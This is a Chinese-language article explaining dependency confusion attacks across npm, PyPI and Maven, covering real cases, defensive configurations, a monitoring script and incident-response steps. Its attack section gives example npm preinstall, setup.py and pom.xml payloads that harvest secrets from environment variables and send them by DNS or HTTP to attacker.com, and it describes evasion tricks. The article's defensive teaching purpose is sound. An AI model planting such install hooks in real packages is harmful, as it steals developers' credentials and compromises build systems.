供应链攻击正在成为全球范围内最隐蔽、最危险、最难防御的攻击手段之一。在诸多供应链风险中,依赖混淆(Dependency Confusion)以成本低、成功率高、危害大而著称。
攻击者无需突破你的网络边界、无需本地提权、甚至无需知道你的代码逻辑。只要知道你的内部依赖包名,他就可能向你的构建系统中悄悄注入恶意代码。
本文将以一个简单的现实类比开始,然后深入剖析依赖混淆攻击的原理、攻击链条、各生态案例,并提供工程上可落地的防御方式。最后提供完整的应急响应流程,可用于企业内部制度建设。
在正式开始之前,有必要厘清一个概念:依赖混淆并非传统意义上的"漏洞"。它不依赖于某个CVE编号、某段有缺陷的代码,而是利用了包管理器设计时的默认行为与企业混合使用公私仓库时产生的信任边界模糊。这意味着,你无法通过打补丁来"修复"它,只能通过架构层面的治理来消解风险。
假设你住在一栋大楼里,平常快递都是由楼内的专属配送员小李负责。他了解楼层、住户编号,是大楼的内部服务体系。
有一天,一个穿着类似制服的人站在门口,自称也是"小李",并向门卫声明:
"我是新升级的版本,系统是3.0,比旧的小李更先进。"
真正的小李只有1.5版本。
门卫听到"更高版本",以为此人更可靠,于是把你的所有快递都交给了"假小李"。你收到的快递被替换、被窃取,而你对此毫无察觉。
在软件开发中同样如此:包管理器会优先选择"版本更高的包",如果攻击者在公共仓库发布一个与你内部包同名但版本更高的包,它就会被错误下载并执行。
这就是依赖混淆攻击的本质:冒名顶替 + 更高版本号 + 默认优先级。
这个比喻虽然简单,但它揭示了依赖混淆的核心问题:信任的传递是隐式的。门卫(包管理器)并没有一份明确的名单说"小李只能是内部员工",它只是按照规则办事——谁版本高就信谁。而攻击者恰恰利用了这种"规则正确但结果错误"的灰色地带。
依赖混淆(Dependency Confusion)是一种软件供应链攻击。攻击者在公共仓库发布与企业内部私有包同名、版本更高的包,从而欺骗构建工具,导致其下载并执行恶意代码。
典型公共仓库包括:npm(JavaScript)、PyPI(Python)、Maven Central(Java)、NuGet(.NET)、RubyGems(Ruby)。
只要企业同时使用公共 + 私有仓库,且包解析未严格限制来源,就可能受到影响。
要真正理解依赖混淆,我们需要深入包管理器的解析逻辑。以npm为例,当你在项目中声明一个依赖时,npm会按照以下顺序查找包:首先检查本地缓存,然后查询配置的registry(可能是多个),最后选择符合版本约束的最高版本。
问题出在"多个registry"这一步。当企业同时配置了私有registry和公共npm registry时,如果没有明确指定某个包必须从私有源获取,npm会同时查询两个源,然后选择版本更高的那个。这种设计初衷是为了方便——让开发者能够无缝使用公共包和私有包。但它也创造了一个攻击面:攻击者只需要知道你的私有包名,就能在公共registry上发布一个同名但版本号更高的包,从而"劫持"你的依赖解析。
pip的情况更加微妙。当同时配置index-url和extra-index-url时,pip会合并两个源的搜索结果,同样选择最高版本。更糟糕的是,pip在较早版本中甚至没有提供"仅从特定源安装特定包"的原生机制。
Maven的解析逻辑则涉及到repository的声明顺序和mirrorOf配置。如果pom.xml中声明的repository顺序不当,或者settings.xml中的mirror配置过于宽松,同样会导致从错误的源拉取依赖。
依赖混淆攻击的第一步是获取目标企业的内部包名。这看起来像是一个门槛,但实际上,包名泄露的途径比你想象的要多得多。
公开代码仓库是最直接的来源。许多企业会将部分代码开源,而这些代码的package.json、requirements.txt或pom.xml中可能直接引用了内部包名。即使代码本身不开源,构建脚本、Dockerfile、CI配置文件也可能在某次失误中被提交到公开仓库。
错误信息和日志是另一个金矿。当构建失败时,错误信息通常会暴露完整的包名和版本号。如果这些日志被写入公开的issue tracker、论坛帖子或Stack Overflow问题中,攻击者就能轻松获取。
招聘信息和技术博客也会泄露蛛丝马迹。"我们使用内部开发的@company/auth-sdk进行身份认证"——这样的描述直接暴露了一个可利用的包名。
命名规律推测是一种更具创造性的方法。如果攻击者知道目标公司名为Acme,他可以合理推测存在acme-utils、acme-core、acme-common等包名,然后批量注册。Alex Birsan在其开创性研究中正是使用了这种方法。
JavaScript Source Map和前端错误监控也可能泄露包名。打包后的JavaScript文件如果包含source map,或者错误堆栈被发送到公开的监控平台,内部依赖的名称就可能暴露。
一次完整的依赖混淆攻击通常包含以下阶段:
攻击者通过前述各种渠道收集目标企业的内部包名。这个阶段可能持续数周甚至数月,攻击者会耐心地从各种公开信息中拼凑出一份潜在包名清单。高明的攻击者还会分析包名的命名规律,推测可能存在的其他包。
获取包名后,攻击者会在公共仓库注册同名包,并设置一个极高的版本号(如99.99.99或9999.0.0)。恶意代码的植入位置取决于目标生态系统的特点:
对于npm生态,最常见的注入点是package.json中的preinstall或postinstall脚本。这些脚本会在包安装过程中自动执行,甚至不需要项目代码import这个包。恶意代码通常会收集环境变量、系统信息、网络配置,然后通过DNS请求或HTTP回调发送到攻击者控制的服务器。使用DNS是因为它更隐蔽,不容易被出站HTTP防火墙拦截。
// 恶意preinstall脚本
const { execSync } = require('child_process');
const os = require('os');
const https = require('https');
const data = {
hostname: os.hostname(),
user: os.userInfo().username,
cwd: process.cwd(),
env: Object.keys(process.env).filter(k =>
/key|token|secret|password|credential/i.test(k)
).reduce((acc, k) => ({ ...acc, [k]: process.env[k] }), {})
};
// 通过DNS外传,更隐蔽
const encoded = Buffer.from(JSON.stringify(data)).toString('base64');
const dns = require('dns');
dns.lookup(`${encoded.slice(0, 60)}.attacker.com`, () => {});
对于PyPI生态,setup.py是主要的攻击入口。Python的setuptools会在安装过程中执行setup.py,攻击者可以在其中嵌入任意Python代码。需要注意的是,即使项目使用了更现代的pyproject.toml格式,如果依赖的某个包仍然使用setup.py,风险依然存在。
# 典型的PyPI恶意setup.py
def exfiltrate():
sensitive_vars = {k: v for k, v in os.environ.items()
if any(x in k.lower() for x in ['key', 'token', 'secret', 'password'])}
data = {
'hostname': socket.gethostname(),
'cwd': os.getcwd(),
'env': sensitive_vars
}
try:
import urllib.request
req = urllib.request.Request(
'https://attacker.com/collect',
data=json.dumps(data).encode(),
headers={'Content-Type': 'application/json'}
)
urllib.request.urlopen(req, timeout=5)
except:
pass
exfiltrate()
setup(name='target-internal-package', version='99.99.99')
对于Maven生态,攻击者可以利用自定义插件或在类的静态初始化块中执行代码。Maven的构建生命周期提供了多个可注入的阶段,其中initialize阶段最为隐蔽,因为它在实际编译之前就会执行。
<!-- 恶意pom.xml -->
<build>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<version>1.6.0</version>
<executions>
<execution>
<id>malicious-exec</id>
<phase>initialize</phase>
<goals>
<goal>exec</goal>
</goals>
<configuration>
<executable>curl</executable>
<arguments>
<argument>-s</argument>
<argument>https://attacker.com/c?h=${env.HOSTNAME}</argument>
</arguments>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
恶意包发布后,攻击者只需等待。触发可能发生在多种场景:开发者本地运行npm install更新依赖、CI/CD系统执行定时构建、新员工克隆项目并安装依赖、依赖缓存过期后的重新拉取。
值得注意的是,即使企业的生产构建严格锁定了依赖版本,开发环境和CI/CD的"测试分支"往往没有同等严格的控制。攻击者可能首先获得的是开发者的本地机器或测试环境的访问权限,然后以此为跳板进一步渗透。
恶意代码执行后,攻击者会收集有价值的信息:环境变量中的API密钥和数据库凭证、SSH私钥和云服务访问令牌、内网服务的地址和端口、源代码和配置文件。
更高级的攻击者不会止步于信息收集。他们会尝试建立持久化访问——在受害机器上植入后门、在CI/CD配置中添加隐蔽的远程访问通道、甚至污染其他内部包以扩大影响范围。
2021年2月,安全研究员Alex Birsan发表了一篇题为"Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies"的文章,在安全社区引起轰动。
Birsan通过分析目标公司的开源代码和公开可用的JavaScript文件,收集到了大量内部包名。他在npm、PyPI和RubyGems上注册了这些同名包,并在其中嵌入了无害的回调代码(仅收集主机名和用户名用于概念验证)。
结果令人震惊。在几天之内,Birsan收到了来自超过35家公司的回调,其中包括Apple、Microsoft、PayPal、Shopify、Netflix、Yelp等科技巨头。这些回调不仅来自开发者的本地机器,更有相当一部分来自这些公司的内部构建服务器——这意味着恶意代码在生产级别的基础设施上被执行了。
这项研究的价值在于它直观地展示了依赖混淆的普遍性和严重性。它证明了即使是世界上最注重安全的科技公司,也可能因为包管理器的默认行为而遭受攻击。
2021年10月,拥有数百万周下载量的npm包ua-parser-js被攻击者入侵。攻击者获取了维护者的npm账户权限,发布了三个恶意版本,其中包含加密货币挖矿程序和密码窃取木马。
虽然这不是严格意义上的依赖混淆(而是账户劫持),但它展示了供应链攻击的威力:一个被广泛使用的包一旦被污染,影响将迅速扩散到数以万计的下游项目。
2021年1月,攻击者利用Codecov的Docker镜像构建过程中的漏洞,修改了Codecov的Bash Uploader脚本。被污染的脚本会将CI环境中的敏感信息(环境变量、git仓库信息、CI凭证等)发送到攻击者控制的服务器。
这次攻击持续了两个多月才被发现,影响了数百家使用Codecov的公司,包括Twilio、HashiCorp、Twitch等知名企业。它再次证明了CI/CD环境是供应链攻击的高价值目标。
2022年,安全研究人员发现了多起针对金融和医疗行业的依赖混淆攻击。攻击者通过分析这些行业常用的内部工具和SDK命名规律,在公共仓库上注册了数十个具有欺骗性名称的包。这些攻击更加隐蔽,恶意代码会检测运行环境,只有在确认是目标企业的网络内时才会激活。
npm生态是依赖混淆的"重灾区"。这部分原因在于JavaScript项目通常拥有庞大的依赖树,部分原因在于npm的设计历史上对安全性的考虑相对较少。
风险点一:生命周期脚本。npm支持在package.json中定义preinstall、postinstall、prepare等脚本,这些脚本会在包安装过程中自动执行。攻击者可以利用这个机制执行任意代码,而开发者通常不会注意到这些脚本的存在。
风险点二:嵌套依赖。一个看似简单的npm项目可能有数百甚至数千个传递依赖。每一个传递依赖都是潜在的攻击入口。即使你的直接依赖都是可信的,你无法保证它们的依赖也是安全的。
风险点三:registry配置复杂性。npm支持在项目级别、用户级别和全局级别配置registry,这些配置之间的优先级关系容易造成混乱。一个常见的错误配置是在.npmrc中只设置了registry但没有使用scoped packages,导致私有包名仍然可能从公共registry解析。
防御实践:使用scoped packages(如@company/package-name)是最有效的防御措施。npm官方仓库不允许用户注册以@开头但不属于自己的scope的包名。配合registry配置,可以确保所有@company/*的包只会从私有registry获取。
# .npmrc
@company:registry=https://npm.company.com/
//npm.company.com/:_authToken=${NPM_TOKEN}
Python的包管理体系相对分散,pip、setuptools、poetry、conda等工具各有不同的行为模式,这增加了安全管理的复杂性。
风险点一:setup.py的执行。传统的Python包使用setup.py进行安装,这个文件会在安装过程中被执行。任何Python代码都可以被嵌入其中。虽然现代工具开始转向声明式的pyproject.toml,但向后兼容性意味着setup.py风险将长期存在。
风险点二:index-url与extra-index-url的混淆。pip的配置支持同时指定主索引和额外索引,但默认情况下,pip会从所有索引中寻找最高版本的包。这种行为与依赖混淆攻击完美契合。
风险点三:命名空间缺失。与npm的scoped packages不同,PyPI没有原生的命名空间概念。任何人都可以注册任何尚未被占用的包名,这使得包名抢注更加容易。
防御实践:使用私有PyPI服务器(如devpi、Artifactory、Nexus)并配置为sole source模式,禁止pip访问公共PyPI。对于必须使用的公共包,通过代理方式拉取并缓存到私有服务器中。
# pip.conf
[global]
index-url = https://pypi.company.com/simple/
trusted-host = pypi.company.com
extra-index-url =
[install]
no-index = true
find-links = https://pypi.company.com/simple/
Java生态的包管理相对成熟,但Maven Central与私有仓库的混合使用同样存在风险。
风险点一:groupId欺骗。Maven使用groupId来组织包,但groupId的验证并不严格。攻击者可以注册一个看起来像是企业内部的groupId(如com.company.internal),并在其下发布恶意包。
风险点二:插件执行。Maven的构建过程依赖于插件,这些插件可以在多个生命周期阶段执行任意代码。恶意插件可以在validate或initialize阶段执行,此时主代码甚至还没有开始编译。
风险点三:父POM继承。Maven项目可以继承父POM的配置,包括repository和pluginRepository的定义。如果父POM被污染,所有继承它的子项目都会受影响。
防御实践:在settings.xml中配置mirrorOf=*,将所有仓库请求重定向到私有仓库管理器。私有仓库管理器再按需代理公共仓库,并对groupId进行白名单过滤。
<mirrors>
<mirror>
<id>company-repo</id>
<mirrorOf>*</mirrorOf>
<url>https://maven.company.com/repository/public/</url>
</mirror>
</mirrors>
NuGet(.NET):NuGet同样存在公共源与私有源混合使用的问题。防御措施类似于npm,使用私有feed并配置nuget.config明确指定包源。
RubyGems(Ruby):Bundler可以配置source块来指定特定gem的来源。使用私有gem服务器并在Gemfile中明确指定source是推荐的做法。
Go Modules:Go的module系统相对较新,设计时考虑了安全性。module名称与代码仓库地址绑定,降低了冒名顶替的风险。但仍需注意GOPROXY的配置,确保私有module不会尝试从公共proxy获取。
Rust Crates:crates.io的包名是全局唯一的,但同样存在名称抢注风险。对于私有crate,应配置cargo使用私有registry。
有经验的攻击者会采用多种技术来规避检测。
时延执行:恶意代码不会立即执行,而是设置一个延迟(如24小时后或在特定日期),躲过初期的安全检查。
环境检测:恶意代码会检测运行环境,只有在确认是目标企业的网络或机器时才会激活。这可以通过检查特定的环境变量、DNS后缀、内网IP段等方式实现。
代码混淆:使用base64编码、字符串拆分、动态执行(eval)等技术隐藏恶意代码的真实意图,增加静态分析的难度。
合法功能包装:恶意包可能确实提供一些有用的功能,恶意代码隐藏在看似正常的代码逻辑中。
一些企业会在隔离环境中构建项目以降低风险。但攻击者可能尝试沙箱逃逸:
网络侧信道:即使出站HTTP被禁止,DNS请求通常仍然被允许。攻击者可以通过DNS隧道外传数据。
构建产物污染:恶意代码可能不会直接外传数据,而是修改构建产物——例如在编译后的代码中植入后门。这个后门会在生产环境中激活。
缓存投毒:污染本地或共享的依赖缓存,使得后续的构建也会使用恶意代码。
面对这些高级威胁,单一的防御措施是不够的。我们需要构建纵深防御体系。
第一层:源头控制。严格配置包管理器,确保私有包只能从私有源获取。使用scoped packages/namespaces。占位注册可能被冒名的包名。
第二层:传输验证。使用lockfile锁定依赖的精确版本和哈希值。在CI/CD中验证依赖的完整性。配置仓库代理,审计所有流经的包。
第三层:执行隔离。在隔离的容器或虚拟机中执行构建。限制构建环境的网络访问(只允许访问私有仓库)。最小化构建环境中的敏感信息。
第四层:运行时检测。监控构建过程中的异常行为(如意外的网络连接、文件系统访问)。对构建产物进行安全扫描。实施SBOM(软件物料清单)管理。
第五层:持续审计。定期审计依赖的安全性。监控公共仓库中与内部包名相似的新注册包。订阅安全情报,及时了解新的攻击手法。
# .npmrc - 项目级别配置
# 强制所有scoped包从私有registry获取
@company:registry=https://npm.company.com/
@company-internal:registry=https://npm.company.com/
# 认证配置
//npm.company.com/:_authToken=${NPM_TOKEN}
//npm.company.com/:always-auth=true
# 禁用不安全的脚本执行(可选,但会影响某些合法包)
ignore-scripts=true
# pip.conf
[global]
index-url = https://pypi.company.com/simple/
trusted-host = pypi.company.com
# 禁止从其他源安装
no-index = true
find-links = https://pypi.company.com/simple/
[install]
# 哈希验证
require-hashes = true
<settings>
<mirrors>
<mirror>
<id>company-central</id>
<mirrorOf>external:*</mirrorOf>
<url>https://maven.company.com/repository/public/</url>
</mirror>
</mirrors>
<profiles>
<profile>
<id>company</id>
<repositories>
<repository>
<id>company-internal</id>
<url>https://maven.company.com/repository/internal/</url>
<releases><enabled>true</enabled></releases>
<snapshots><enabled>true</enabled></snapshots>
</repository>
</repositories>
</profile>
</profiles>
<activeProfiles>
<activeProfile>company</activeProfile>
</activeProfiles>
</settings>
Lockfile是防止依赖混淆的关键防线之一。它记录了依赖的精确版本和校验和,使得即使存在更高版本的恶意包,构建系统也会使用lockfile中指定的版本。
npm:使用package-lock.json或npm-shrinkwrap.json。在CI中使用npm ci而非npm install来确保严格遵循lockfile。
pip:使用pip freeze生成requirements.txt,或使用pipenv/poetry生成Pipfile.lock/poetry.lock。使用pip install --require-hashes要求哈希验证。
Maven:虽然Maven没有原生的lockfile机制,但可以在pom.xml中使用dependencyManagement精确指定版本,或使用maven-enforcer-plugin确保版本一致性。
占位包策略是一种主动防御方法:在公共仓库上预先注册与内部包同名的包,内容为空或仅包含警告信息。这样攻击者就无法注册同名的恶意包。
实施要点:
列出所有内部包名
在各个公共仓库注册同名包
包内容可以是一个空实现或错误提示
版本号可以设为0.0.0或0.0.1
在包描述中说明这是占位包
注意事项:
定期检查占位包是否仍在你的控制下
如果包名被抢注,立即联系仓库管理员
某些仓库(如npm)对长期无更新的空包可能有清理政策
静态的防御措施需要持续的审计来确保有效性。
自动化扫描工具:npm audit、pip-audit、OWASP Dependency-Check、Snyk、Sonatype Nexus IQ、WhiteSource
自建监控脚本:监控公共仓库中是否出现与内部包名相同或相似的新包。这可以通过定期查询仓库API实现。
INTERNAL_PACKAGES = ['company-utils', 'internal-auth', 'corp-logging']
def check_npm_availability(package_name):
resp = requests.get(f'https://registry.npmjs.org/{package_name}')
if resp.status_code == 200:
data = resp.json()
return {
'exists': True,
'owner': data.get('maintainers', [{}])[0].get('name', 'unknown'),
'latest_version': data.get('dist-tags', {}).get('latest', 'unknown')
}
return {'exists': False}
for pkg in INTERNAL_PACKAGES:
result = check_npm_availability(pkg)
if result['exists']:
print(f'WARNING: {pkg} exists on npm, owned by {result["owner"]}')
当发现可能的依赖混淆攻击时,需要迅速而有条理地响应。以下是一个应急响应流程
记录发现时间和方式,保留原始告警信息
初步判断影响范围——涉及哪些项目、哪些构建环境
通知安全团队负责人和相关项目负责人
暂停受影响项目的CI/CD pipeline
导出构建日志和依赖清单(npm list --all / pip freeze / mvn dependency:tree)
如有可能,对构建机器做内存快照或磁盘镜像
在网络层阻断可疑域名/IP的访问
禁止所有项目访问公共仓库,强制切换到纯私有源模式
暂停所有自动部署流程
将受影响版本从内部仓库下线
如果有已部署的受影响版本,评估是否需要回滚或下线
在仓库代理层添加规则,阻断可疑包名
下载恶意包样本进行分析(在隔离环境中)
分析恶意代码的功能——收集了什么信息、发送到哪里
检查过去72小时内所有构建记录,识别所有受影响的构建
检查恶意代码是否可能已污染构建产物
回滚所有受影响项目到最后已知可信版本
使用强制私有源模式重新构建
保存恶意包的完整内容(包括所有版本)
收集IOC(Indicators of Compromise):哈希值、域名、IP、URL
分析构建环境中的环境变量,确定可能泄露的凭证
检查构建机上的文件系统变化
审查网络日志,确定是否有数据外传
时间线重建——攻击何时开始、持续多久
轮换所有可能泄露的凭证——API密钥、数据库密码、SSH密钥、云服务Token
重建受影响的构建机器(不要只是清理,要完全重建)
修复Registry配置,确保私有包只能从私有源获取
更新所有项目的lockfile,确保使用安全版本
在公共仓库发起恶意包删除请求
逐步恢复CI/CD流程,初期加强监控
如有用户/客户受影响,准备通知和沟通
召开事件复盘会议,明确根因
审视现有供应链安全策略的漏洞
制定改进计划——技术措施、流程改进、培训需求
更新应急响应流程
对开发团队进行供应链安全培训
建立或完善SBOM(软件物料清单)管理
考虑采用SLSA(Supply-chain Levels for Software Artifacts)框架
依赖混淆攻击的防御不能仅仅依赖技术措施,还需要组织层面的治理体系。
明确供应链安全的责任归属。这不应该只是安全团队的事,开发团队、DevOps团队、架构师都应该参与其中。可以考虑设立专门的"供应链安全工作组",由各团队代表组成。
SBOM(Software Bill of Materials,软件物料清单)是供应链安全的基础设施。它记录了软件中使用的所有组件、版本、来源和许可证信息。当安全事件发生时,SBOM可以帮助快速确定影响范围。
建议采用标准化的SBOM格式,如SPDX或CycloneDX。可以使用syft、trivy等工具自动生成SBOM,并将其集成到CI/CD流程中。
SLSA(Supply-chain Levels for Software Artifacts)是Google提出的供应链安全成熟度框架。它定义了从L0到L4的安全级别,涵盖了源代码管理、构建过程、依赖管理等多个方面。
即使不追求最高级别,按照SLSA的思路审视和改进供应链安全实践也是有价值的。
开发者是供应链安全的第一道防线。定期的安全培训应该涵盖:依赖混淆等供应链攻击的原理、安全的依赖管理实践、如何识别和报告可疑情况、应急响应流程中的角色和职责。
对于使用的第三方组件和服务,应该进行安全评估。这包括:开源组件的活跃度和维护状态、商业组件供应商的安全实践、关键依赖的备选方案。
各大包管理器正在积极改进安全性。npm引入了package-lock.json和npm ci,PyPI开始支持两因素认证和Trusted Publishers,Maven也在讨论签名验证的增强。未来我们可以期待更多原生的安全特性。
Sigstore等项目正在推动软件签名的普及。通过透明日志(Transparency Log),任何人都可以验证一个包是否由其声称的作者发布。这将大大增加冒名发布的难度。
机器学习技术正在被应用于恶意包检测。通过分析包的代码模式、行为特征、发布历史等,可以更早地发现可疑的包。但这也是一场攻防博弈——攻击者同样可以使用AI来规避检测。
零信任原则正在从网络安全扩展到供应链安全。未来的供应链安全架构可能会采用"永不信任,始终验证"的原则,对每一个依赖、每一次构建都进行验证。
依赖混淆攻击本质上不是一个漏洞,而是一种架构性风险。只要企业存在"同时访问公共 + 私有仓库"的场景,这个风险永远存在。
安全防御的关键不在于"扫描有没有病毒",而在于构建一个安全可信的供应链体系:
私有仓库可信:严格控制私有仓库的访问权限和发布权限
公共仓库受控:通过代理控制对公共仓库的访问,实施白名单策略
构建流程可证据化:记录每次构建使用的依赖和版本,生成可追溯的SBOM
依赖版本可锁定:使用lockfile确保构建的可重复性
包名来源可验证:配置包管理器,确保每个包只能从指定的源获取
应急响应可重复演练:定期演练应急流程,确保团队熟悉响应步骤
一旦建立起上述体系,依赖混淆攻击将很难再对你产生真正威胁。但请记住,供应链安全是一个持续的过程,而非一次性的项目。攻击者的手法在不断进化,我们的防御也需要随之更新。